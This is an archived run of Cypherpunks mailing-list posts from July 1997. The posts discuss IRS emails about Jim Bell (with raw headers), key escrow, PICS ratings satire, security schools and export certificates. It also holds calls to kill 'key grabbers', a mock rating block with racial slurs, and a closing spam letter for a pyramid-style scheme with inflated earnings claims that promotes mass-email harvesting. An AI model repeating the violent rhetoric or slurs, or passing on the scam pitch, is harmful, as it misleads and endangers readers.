Alan Olsen forwarded an article from USA Toady (sorry, Freudian
spelling slip) on airline bag matching, including this interesting
statement:

>Airlines are expected to match bags with about 5% of fliers. A
>computerized profiling system will identify those who might pose a
>security risk. Example: passengers
>who buy tickets with cash.

>If someone matches the profile, their bags would not be stowed until
>they actually board the plane.

Hmm, since the last bag on the plane is usually the first one
off the baggage carousel, there is an opportunity for better
service that ought to be exploited. Now, all I need is the cash.

Martin Minow
minow at apple.com









From tcmay at got.net  Sat Jul 19 10:24:52 1997
From: tcmay at got.net (Tim May)
Date: Sun, 20 Jul 1997 01:24:52 +0800
Subject: Voluntary mandatory PICS ratings on all posts
In-Reply-To: <199707191603.SAA15143@basement.replay.com>
Message-ID: 



At 9:03 AM -0700 7/19/97, Anonymous wrote:
>Dimitri the KOTM has asked how to rate one's Web site as being very "nasty".
>
>
>Add the following META tags between the  and  tags:
>
>
>...
>CONTENT='(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l r (n 4 s 4 v 4 l 4)
>"http://www.classify.org/safesurf/" l r (SS~~000 9 SS~~001 9 SS~~002 9 SS~~003
...

I've been using the _text_ form, as the Children's Decency and Safety Act
of 1997 requires that _all_ electronic communications potentially viewable
by those affected (children, the mentally disable, homos, Muslims, etc.,
any of whom might be offended) be appropriately rated and labelled with the
voluntary self-rating system (can be found at
http://www.bigbro.gov/ratingsv01.html).

This mandatory voluntary system meets the needs of us all. Ignorance is
freedom, voluntary means mandatory.

I have come to love Big Brother!

--Winston




Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years







From alan at ctrl-alt-del.com  Sat Jul 19 11:16:55 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Sun, 20 Jul 1997 02:16:55 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: <3.0.2.32.19970719110331.00a646c0@ctrl-alt-del.com>



At 01:51 AM 7/19/97 -0400, Declan McCullagh wrote:
>Hey, I'm here. Didn't get one of these IRS msgs at any of my accounts.
>
>Is it just me, or does anyone else remember a similar message being pumped
>out about the same time Bell was raided (April 1).

I will check the archives...

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From alan at ctrl-alt-del.com  Sat Jul 19 11:26:20 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Sun, 20 Jul 1997 02:26:20 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: <3.0.2.32.19970719110545.00a63370@ctrl-alt-del.com>



At 03:50 AM 7/19/97 -0400, Jeremy Mineweaser wrote:
>
>
>>Alan   writes:
>>
>>> I recieved this today via e-mail.  I find it strange since I have 
>>> never asked to be put on any sort of "interest list" by anyone
>>> at the IRS.  Did anyone else get this?
>
>I received a copy of this earlier today via a low-traffic mailing list
>devoted to discussion of prisoner's dilemma games.  Upon receiving
>the message, the connection between PDG and Jim Bell wasn't 
>immediately obvious, but then I remembered that Jim Bell was
>also a subscriber to that mailing list.
>
>It's quite probable that the IRS sent a copy of their press release
>to all of the forums where they had records of Bell's involvement.
>
>Did others receive this message directly, or via mailing lists?

Directly.  That address was not subscribed to Cypherpunks at the time. 






From jya at pipeline.com  Sat Jul 19 11:45:02 1997
From: jya at pipeline.com (John Young)
Date: Sun, 20 Jul 1997 02:45:02 +0800
Subject: Bean IRS for Another $250,000
Message-ID: <1.5.4.32.19970719182921.006c9cb0@pop.pipeline.com>



Four of the IRS messages on Jim Bell came here (see below), two via 
cypherpunks at toad.com and two directly. (Oddly, none were forwarded
from cyberpass.net as usual for messages to cypherpunks at toad.com.)

There are four messsage IDs, one of which matches that of Alan Olsen
(Number 2 below at 12:29).

These seem to indicate that the sender was using several lists of
addresses, held 18 hours for vetting by the Treasury mail beagles.

Perhaps others could check their message IDs, inquire around listdom 
in order to assemble a list of targeted lists. Then a stink might be
made for the spam, get that Denver judge to hit "IRS Inspection" for 
another $250,000 to pay recipients for IRS's lack of proper public 
humility, if not for Jim's undue imprisonment, isolation by federal defender, 
coercion of witnesses, distortion of literature, and railroading Jim Bell 
to warn outlaws to not fuck with Sam's Gang and Roy Bean.

Note: Jim's Roy Bean docket shows that USA v. Bell was assigned to
Judge Franklin D. Burgess on July 9, with new case number 97-CR-5270. 
The US Attorney filed "Felony Information" on that date. That's the 
final entry, no listing for the alleged plea bargain. 

----------------------------------------------------------------------------
------------------------------------------------------------------------------

IRS MESSAGE 1 -- Date: Thu, 17 Jul 1997 12:28:11 -0400
                 Message-Id: <199707171628.MAA02724 at net.insp.irs.gov>
                 Return-Path:  [via
cypherpunks-unedited]

Return-Path: 
Received: from toad.com (toad.com [140.174.2.1])
	by sieve0.mindspring.com (8.8.5/8.8.5) with ESMTP id SAA04118
	for ; Fri, 18 Jul 1997 18:50:08 -0400 (EDT)
Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id PAA00409
for cypherpunks-unedited-outgoing; Fri, 18 Jul 1997 15:47:16 -0700 (PDT)
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
[204.151.245.2]) by toad.com (8.7.5/8.7.3) with SMTP id PAA00402 for
; Fri, 18 Jul 1997 15:46:49 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id AA19652
  (InterLock SMTP Gateway 3.0 for cypherpunks at toad.com);
  Fri, 18 Jul 1997 18:45:59 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:45:59 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:45:59 -0400
Date: Thu, 17 Jul 1997 12:28:11 -0400
From: IRS Inspection 
Message-Id: <199707171628.MAA02724 at net.insp.irs.gov>
To: Interested-Parties at net.insp.irs.gov
Subject: Something of Interest
Sender: owner-cypherpunks at toad.com
Precedence: bulk

----------------------------------------------------------------------------
------------------------------------------------------------------------------

IRS MESSAGE 2 -- Date: Thu, 17 Jul 1997 12:29:08 -0400
                 Message-Id: <199707171629.MAA02733 at net.insp.irs.gov>
                 Return-Path:  [via
cypherpunks-unedited]

Return-Path: 
Received: from toad.com (toad.com [140.174.2.1])
	by sieve0.mindspring.com (8.8.5/8.8.5) with ESMTP id SAA04851
	for ; Fri, 18 Jul 1997 18:53:31 -0400 (EDT)
Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id PAA00487
for cypherpunks-unedited-outgoing; Fri, 18 Jul 1997 15:51:19 -0700 (PDT)
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
[204.151.245.2]) by toad.com (8.7.5/8.7.3) with SMTP id PAA00468 for
; Fri, 18 Jul 1997 15:50:59 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id AA19658
  (InterLock SMTP Gateway 3.0 for cypherpunks at toad.com);
  Fri, 18 Jul 1997 18:47:00 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:47:00 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:47:00 -0400
Date: Thu, 17 Jul 1997 12:29:08 -0400
From: IRS Inspection 
Message-Id: <199707171629.MAA02733 at net.insp.irs.gov>
To: Interested-Parties at net.insp.irs.gov
Subject: Something of Interest
Sender: owner-cypherpunks at toad.com
Precedence: bulk

----------------------------------------------------------------------------
------------------------------------------------------------------------------

IRS MESSAGE 3 -- Date: Thu, 17 Jul 1997 12:31:08 -0400
                 Message-Id: <199707171631.MAA02749 at net.insp.irs.gov>
                 Return-Path:  [direct to
jya at pipeline.com]

Return-Path: 
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
	by sieve0.mindspring.com (8.8.5/8.8.5) with SMTP id SAA04273
	for ; Fri, 18 Jul 1997 18:50:56 -0400 (EDT)
Received: by tcs_gateway1.treas.gov id AA19680
  (InterLock SMTP Gateway 3.0 for jya at pipeline.com);
  Fri, 18 Jul 1997 18:49:06 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:49:06 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:49:06 -0400
Date: Thu, 17 Jul 1997 12:31:08 -0400
From: IRS Inspection 
Message-Id: <199707171631.MAA02749 at net.insp.irs.gov>
To: Interested-Parties at net.insp.irs.gov
Subject: Something of Interest

----------------------------------------------------------------------------
------------------------------------------------------------------------------

IRS MESSAGE 4 -- Date: Thu, 17 Jul 1997 12:33:43 -0400
                 Message-Id: <199707171633.MAA02778 at net.insp.irs.gov>
                 Return-Path:  [direct to
jya at pipeline.com]

Return-Path: 
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
	by sieve0.mindspring.com (8.8.5/8.8.5) with SMTP id SAA04536
	for ; Fri, 18 Jul 1997 18:52:04 -0400 (EDT)
Received: by tcs_gateway1.treas.gov id AA19746
  (InterLock SMTP Gateway 3.0 for jya at pipeline.com);
  Fri, 18 Jul 1997 18:51:36 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:51:36 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:51:36 -0400
Date: Thu, 17 Jul 1997 12:33:43 -0400
From: IRS Inspection 
Message-Id: <199707171633.MAA02778 at net.insp.irs.gov>
To: Interested-Parties at net.insp.irs.gov
Subject: Something of Interest

----------------------------------------------------------------------------
------------------------------------------------------------------------------







From junger at upaya.multiverse.com  Sat Jul 19 11:57:21 1997
From: junger at upaya.multiverse.com (Peter D. Junger)
Date: Sun, 20 Jul 1997 02:57:21 +0800
Subject: Something of Interest (fwd)
In-Reply-To: <3.0.2.32.19970719110545.00a63370@ctrl-alt-del.com>
Message-ID: <199707191852.OAA12914@upaya.multiverse.com>




I do not know if the copy I received of this information was sent
directly to me or if I got it through the Cypherpunks list.  Was there
one copy that was sent directly to the list?  I have received lots of
copies after the first one that I know were forwarded.

I think that we should recognize that---if the message is not a
forgery---it comes from some people who are a long ways away from the
extremes of either intelligence or stupidity.  So I wonder:  would we
be quite so bothered if it had been labeled ``Press Release''?


--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger at samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists






From lharrison at mhv.net  Sat Jul 19 12:27:07 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Sun, 20 Jul 1997 03:27:07 +0800
Subject: Something of Interest (fwd)
In-Reply-To: <3.0.2.32.19970719040748.006e9174@pop.mhv.net>
Message-ID: <3.0.2.32.19970719151506.006eab38@pop.mhv.net>



-----BEGIN PGP SIGNED MESSAGE-----

Reason for my asking is my questioning the veracity of the contents of the
email.  The mail specifically stated: "in previous court hearings [plural],
IRS Inspectors testified.."

Could've been a bail hearing although they are usually decided on motion
papers.  Additionally, there are no hearings for the request of a
search/arrest warrant - primarily because the request is ex parte.  Probable
cause is decided on annexed affidavits.

I'm also surprised that that JB's plea did not hit the local newspapers given
the initial coverage.  There's usually a follow-up report of the entry of a
guilty plea.

If JB did plea guilty, the next docket entry should reflect "for sentencing"
or words to that effect.


At 08:06 AM 7/19/97 -0400, Declan wrote:
>
>Perhaps when the government was arguing before the Fed. magistrate that
>Bell should be held without bail? Or, more likely, when the IRS was trying
>to get the search then arrest warrant...
>
>On Sat, 19 Jul 1997, Lynne L. Harrison wrote:
>
>> Anybody know what hearings this is referring to - and when they took
place? 
>> If memory serves me correctly, I seem to recall that Bell had waived
speedy
>> trial rights in lieu of negotiations.  Hence, it seems strange that
pre-trial
>> hearings occurred.



-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM9ESFT5A4+Z4Wnt9AQFRBgP8CU67wG0HvbfvgW8UEZ+sO30cHR97LXvJ
oMBzich2TsZNoEHW4dmM9SGEUILTyFAbxAnYTHE9+8zMELEyDQCdenHp7YOwjHYu
W+awBBjlqqYqyejsmyIGxHxw/ps3dBzlkDSK3f0KhoCQn3Pg+SAdbvVxRoKQSAbI
SURqhVjh7og=
=24Pv
-----END PGP SIGNATURE-----






From cme at cybercash.com  Sat Jul 19 12:47:04 1997
From: cme at cybercash.com (Carl Ellison)
Date: Sun, 20 Jul 1997 03:47:04 +0800
Subject: Keepers of the keys
In-Reply-To: 
Message-ID: <3.0.3.32.19970719152832.00be2420@cybercash.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 09:15 PM 7/18/97 -0700, Joe Shea wrote:
>Judges -- people like the Ninth Circuit Court of Appeals -- 
>would look rather askance at requests for someone's key when it was no
>more aggravating an issue than a piece of flame mail.  On the other hand, 
>if someone's going to blow up San Francisco this week, it sure would help
>to have a key to any encrypted communications he was generating.

The gov't doesn't give any KE agent, judge or otherwise, permission to see the 
actual decrypted traffic to make sure it matches the excuse given on the 
request for access.  The gov't can always come back and say, "Well, he didn't 
say anything useful so we didn't record anything -- thanks for the key anyway."

If the gov't had to get content itself from a judge -- or, better, from the 
NYTimes, Wash Post, ACLU, etc. -- then maybe we'd be closer to a politically 
workable answer.  That is, it would be valueless as a covert intelligence tool.

 - Carl

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9EVYFQXJENzYr45AQFPrwQAlss0rHedSDH243QOsZdt0vNMAdVuD52b
aYZTXlBM9or33z9Ri35wSBAy8iGdVnX6lgloUUMzO7EsHrw5ytMFyNM/Lj1mnLkp
GYBBmdZYcgO1uJMOdk2GlqJ7FNVPEgPFdlxiphMFBlDYjdH1MVoTCg2s1FwhIJbs
LRBSZaRODxM=
=i9dR
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison       cme at acm.org    http://www.clark.net/pub/cme |
|    PGP: 61 E2 DE 7F CB 9D 79 84   E9 C8 04 8B A6 32 21 A2        |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+






From tcmay at got.net  Sat Jul 19 13:09:38 1997
From: tcmay at got.net (Tim May)
Date: Sun, 20 Jul 1997 04:09:38 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: 



At 11:03 AM -0700 7/19/97, Alan wrote:
>At 01:51 AM 7/19/97 -0400, Declan McCullagh wrote:
>>Hey, I'm here. Didn't get one of these IRS msgs at any of my accounts.
>>
>>Is it just me, or does anyone else remember a similar message being pumped
>>out about the same time Bell was raided (April 1).
>
>I will check the archives...
>

No need to check. Recall that the odd name, "IRS Investigations," was our
first word on the Bell raid.

I didn't comment earlier when Declan asked, as I thought he was making a
rhetorical point.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years







From jya at pipeline.com  Sat Jul 19 13:29:38 1997
From: jya at pipeline.com (John Young)
Date: Sun, 20 Jul 1997 04:29:38 +0800
Subject: Something of Interest
Message-ID: <1.5.4.32.19970719201617.006eb400@pop.pipeline.com>



JM provided IRS Inpsector message Number 5, which is earlier
than the four I posted a while ago:

   Return-Path: 
   Date: Thu, 17 Jul 1997 12:25:26 -0400
   From: IRS Inspection 
   Message-Id: <199707171625.MAA02707 at net.insp.irs.gov>

Starting with these 5 we'll put the full message headers we get at:

   http://jya.com/irs-header.txt

And post here the brief version.

JM also provided Treasury's mail echangers:

>Checking DNS for MX records for net.insp.irs.gov
>indicate (as shown below) three mail exchangers:
>
>QUESTIONS:
>  net.insp.irs.gov, type = MX, class = IN
>
>ANSWERS:
>
>  ->  net.insp.irs.gov
>    MX preference = 20, mail exchanger = tcs-gateway1.treas.gov
>    ttl = 86400 (1 day)
>
>  ->  net.insp.irs.gov
>    MX preference = 30, mail exchanger = gotcha.treas.gov
>    ttl = 86400 (1 day)
>
>  ->  net.insp.irs.gov
>    MX preference = 10, mail exchanger = tcs-gateway2.treas.gov
>    ttl = 86400 (1 day)







From kent at songbird.com  Sat Jul 19 13:40:22 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 20 Jul 1997 04:40:22 +0800
Subject: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <19970719133131.02792@bywater.songbird.com>



On Sat, Jul 19, 1997 at 09:35:41AM -0700, Tim May wrote:
> At 8:51 AM -0700 7/19/97, Marshall Clow wrote:
> >At 7:43 AM -0700 7/19/97, Kent Crispin wrote:
> >>On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
> >>[usual rant deleted]
> >>>
> >>> Kill the key grabbers and all those who support them. Isn't it exactly what
> >>> Patrick Henry, Thomas Jefferson, and the others would have argued?
> >>
> >>Amazing.  Patriotism -- the last refuge of the scoundrel.
> >>
> >>However, Patric Henry said something like "Give me liberty or give me
> >>death." That is really very different from "Kill everyone who opposes
> >>me and all their supporters." Tim doesn't seem to understand this
> >>nuance.
> >>
> >I think Tim is thinking of:
> >
> >	"The tree of liberty must be refreshed from time to time,
> >	 with the blood of patriots and tyrants."
> >
> >which, of course, was written by Jefferson.
> 
> I wasn't giving any specific quote--I was referring to the general
> principles.

The general principle Tim espouses is, apparently, "Kill all who 
oppose, and anyone else remotely associated"  -- witness his calls to 
use the "nuclear disinfectant" on Washington, for example.  This is not, 
I believe, what Jefferson had in mind.

However, I consider such a sentiment either insane or not intended
seriously.  Assuming Tim is not insane, then he doesn't intend his
statements to be taken seriously. 

> Apparently Kent Crispin, whom I blissfully killfile, is a
> literalist. Some would say anal-retentive.

I can't resist pointing out what is usually associated with bliss. 
:-) 

I must point out, also, that I agree with Tim that GAK is bad.  
However, I believe that his rants actually do more harm than good to 
the cause.  

> Can there be any doubt what the reaction of the Founders and other patriots
> would be were they to be transported to our modern era and learn that there
> are proposals that all citizen-units are to be required to deliver the keys
> (and hence the contents) for their most private communications to the King?
> Er, I mean, "the Government."

Since they are just proposals, perhaps their reaction would be words
like "I don't agree with what you say, but I will fight to the death
to protect your right to say it." Or they might say something like
"the antidote to bad speech is good speech".  I don't think they would
make a general call to anihilate all opponents of their point of view.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From steve at xemacs.org  Sat Jul 19 14:21:23 1997
From: steve at xemacs.org (SL Baur)
Date: Sun, 20 Jul 1997 05:21:23 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: 



Tim May  writes:

>> At 01:51 AM 7/19/97 -0400, Declan McCullagh wrote:
>>> Is it just me, or does anyone else remember a similar message being pumped
>>> out about the same time Bell was raided (April 1).

> No need to check. Recall that the odd name, "IRS Investigations," was our
> first word on the Bell raid.

I didn't get a personal copy of the first one, hence my assumption
that the addresses were pulled off of Jim's confiscated equipment.






From nick at multipro.com  Sat Jul 19 14:28:33 1997
From: nick at multipro.com (Nick West)
Date: Sun, 20 Jul 1997 05:28:33 +0800
Subject: Cypherpunk U
Message-ID: <3.0.1.32.19970719161747.006b49e8@mail.multipro.com>



-----BEGIN PGP SIGNED MESSAGE-----

What are some of the better colleges/universities to study 
Computer/Network security at? I know MIT is a good one. Any others 
that aren't quite so hard to get in to that still offer quality 
programs?
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9Eu9MF7aWKjtgVVAQGQUAP+O1255PqXzWGixEcku+kOwxhSpiibilg5
GMnV/6KZ1uWLefyWhyclx0S8yogHhbDyaWs3jpJ32MNQk/hbpliotD3r7oJHgmux
pCbv71pwBzPU0z1q5qtaBnU3kEuCQtnVVvYobSJWkcrVAnBMxQVIl4Pd8ccHGdmy
kKvoKx5Z3YM=
=B3mA
-----END PGP SIGNATURE-----


Nick West
http://members.tripod.com/~NWest/index.html

 






From azur at netcom.com  Sat Jul 19 14:47:30 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 20 Jul 1997 05:47:30 +0800
Subject: What is Truth?
In-Reply-To: 
Message-ID: 



>And can you name ANY part of society that Government has been willing to
>"leave alone"?  It does not matter what portion of society it is...  If it
>is a "hot button issue", government feels compelled to get involved.  It is
>part of the control freak nature of government.  Have you ever known a
>government agency to "mind its own business"?  You are refering to a
>philosophy not followed by the US government.

The only recent example I can think of is the FCC's decision, led by
Commissioners Ness and Wong, refusing to regulate TV content.

--Steve







From jya at pipeline.com  Sat Jul 19 14:56:05 1997
From: jya at pipeline.com (John Young)
Date: Sun, 20 Jul 1997 05:56:05 +0800
Subject: Jim Bell Docket 2
Message-ID: <1.5.4.32.19970719214306.006c6408@pop.pipeline.com>



We've put the latest court docket for Jim Bell at:

   http://jya.com/jimbell-dock2.htm

As noted earlier, it shows that the case has been assigned
to a new judge and the last entry is dated July 9 for filing
"felony information" by the US Attorney. No listing of the 
alleged plea bargain.






From azur at netcom.com  Sat Jul 19 15:27:25 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 20 Jul 1997 06:27:25 +0800
Subject: hand-held computers Re: Electronic commerce has long way    to go
In-Reply-To: 
Message-ID: 



>At 11:54 AM 7/15/97 -0700, Steve Schear wrote:
>>For those outside of Metricom's coverage areas, NovaTel Wireless
>>http://www.novatelwireless.com is introducing a CDPD modem specifically
>>designed for the Pilot.  Their Minstrel modem offers TCP/IP data rates up
>>to 19.2 kbps over analog cellular.  Coverage in most US metropolitan areas
>
>On the other hand, CDPD is relatively expensive; Metricom charges flat rate,
>while CDPD is generally some pennies per KB, which may be more or less
>expensive than circuit-switched modem connections over cellular voice
>depending on your usage patterns.  But it's widely available.

Clearly CDPD is too expensive for Web surfing and large amounts of email
traffic.  As an electronic purse for ecash commerce (esp. funds transfer)
it just might be practical

--Steve


PGP mail preferred, see  http://web.mit.edu/network/pgp.html
RSA Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
ECache Monger             | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------







From azur at netcom.com  Sat Jul 19 15:31:40 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 20 Jul 1997 06:31:40 +0800
Subject: Verisign gets export approval
In-Reply-To: 
Message-ID: 



At 10:02 PM -0700 7/18/97, Tom Weinstein wrote:
>amp at pobox.com wrote:
>>
>>> There's nothing preventing another CA from getting permission from
>>> the USG to issue these magic certs.  We would have to distribute a
>>> patch, but I don't see any problem with that.
>>
>> uh, why does one need permission of the usg to issue "magic certs"?
>
>Because issuing these certs is defined as a "defense service".

Precisely why there needs to be some hacks, from offshore CP, to enable
anyone to issue "magic certs".  Any volunteers?

--Steve







From tcmay at got.net  Sat Jul 19 15:59:50 1997
From: tcmay at got.net (Tim May)
Date: Sun, 20 Jul 1997 06:59:50 +0800
Subject: Cypherpunk U
In-Reply-To: <3.0.1.32.19970719161747.006b49e8@mail.multipro.com>
Message-ID: 



At 2:17 PM -0700 7/19/97, Nick West wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>What are some of the better colleges/universities to study
>Computer/Network security at? I know MIT is a good one. Any others
>that aren't quite so hard to get in to that still offer quality
>programs?

Do you mean for grad school, or for undergrad work?

If the former, look for where the papers that interest you are coming from.
That is, whom do you want to work with? UC Berkeley is obviously doing
interesting work, Purude has some well known folks, and Carnegie-Mellon is
in the home city of CERT (maybe not a recommendation...). And Stanford is
always a hotbed. At least a dozen other places are doing fine work.

If for undergrad work, you of course won't have any exposure to speak of in
these areas, save for one or two courses. Maybe.

Ask Sameer Parekh why he picked Berkeley over MIT for his undergraduate
experience (apparently now on hiatus as he runs his company).

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From rthom07 at ibm.net  Sat Jul 19 16:11:47 1997
From: rthom07 at ibm.net (n/a)
Date: Sun, 20 Jul 1997 07:11:47 +0800
Subject: From - Tue Jun 24 09:59:29 1997
Message-ID: <18161.235630.75478623 cypherpunks@algebra.com>






PLEASE, Read This Twice!!

Dear friend,

================================================
================================================
This is a "ONE-TIME MESSAGE"  you were randomly selected to
receive this.  There is no need to reply to remove, you will receive
no further mailings from us.  If you have interest in this GREAT
INFORMATION,  please do not click reply,  use the contact 
information in this message.  Thank You! :-)
================================================
================================================

             *** Print This Now For Future Reference ***

The following income opportunity is one you may be interested in 
taking a look at.  It can be started with VERY LITTLE investment
and the income return is TREMENDOUS!!!  

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You are about to make at least $50,000 in less than 90 days!  
Please read the enclosed program...THEN READ IT AGAIN!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

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MULTI-LEVEL MARKETING (MLM) has finally gained
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The enclosed information is something I almost let slip through my 
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My name is Christopher Erickson.  Two years ago, the corporation I 
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against my home to support my family and struggling business.  AT
THAT MOMENT something significant happend in my life and I am
writing to share the experience in hopes that this will change your
life FOREVER FINANCIALLY!!!

In mid December, I received this program via e-mail.  Six month's 
prior to receiving this program I had been sending away for 
information on various business opportunities.  All of the programs 
I received, in my opinion, were not cost effective.  They were either 
too difficult for me to comprehend or the initial investment was too 
much for me to risk to see if they would work or not.  One claimed 
that I would make a million dollars in one year...it didn't tell me 
I'd have to write a book to make it!  

But like I was saying, in December of 1995 I received this program.  
I didn't send for it, or ask for it, they just got my name off a 
mailing list. THANK GOODNESS FOR THAT!!!  After reading 
it several times, to make sure I was reading it correctly, I couldn't 
believe my eyes.  Here was a MONEY MAKING PHENOMENON.
I could invest as much as I wanted to start, without putting me 
further into debt.  After I got a pencil and paper and figured it 
out, I would at least get my money back.  After determining the 
program was LEGAL and NOT A CHAIN LETTER, I decided 
"WHY NOT."

Initially I sent out 10,000 e-mails.  It cost me about $15.00 for my 
time on-line.  The great thing about e-mail is that I don't need any 
money for printing to send out the program, only the cost to fulfill 
my orders.  I am telling you like it is, I hope it doesn't turn you 
off, but I promised myself that I would not "rip-off" anyone, no 
matter how much money it cost me!

A good program to help do this is Ready Aim Fire, an e-mail 
extracting and mass mail program.  
At  http://microsyssolutions.com

In less than one week, I was starting to receive orders for REPORT 
#1.  By January 13, I had received 26 orders for REPORT #1.  When
you read the GUARANTEE in the program, you will see that "YOU
MUST RECEIVE 15-20 ORDERS FOR REPORT #1 WITHIN 2
WEEKS.  IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL
YOU DO!"  My first step in making $50,000 in 20-90 days was done.
By January 30, I had received 196 orders for REPORT #2.  If you go
back to the GUARANTEE, "YOU MUST RECEIVE 100+ ORDERS
FOR REPORT #2 WITHIN 2 WEEKS.  IF NOT, SEND OUT MORE
PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS,
THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000
GOAL."  Well, I had 196 orders for REPORT #2, 96 more than I
needed.  So I sat back and relaxed.  By March 19, of my e-mailing of
10,000, I received $58,000 with more coming in every day.  

I paid off ALL my debts and bought a much needed new car.  Please 
take time to read the attatched program, IT WILL CHANGE YOUR
LIFE FOREVER!!!  Remember, it won't work if you don't try it.  This
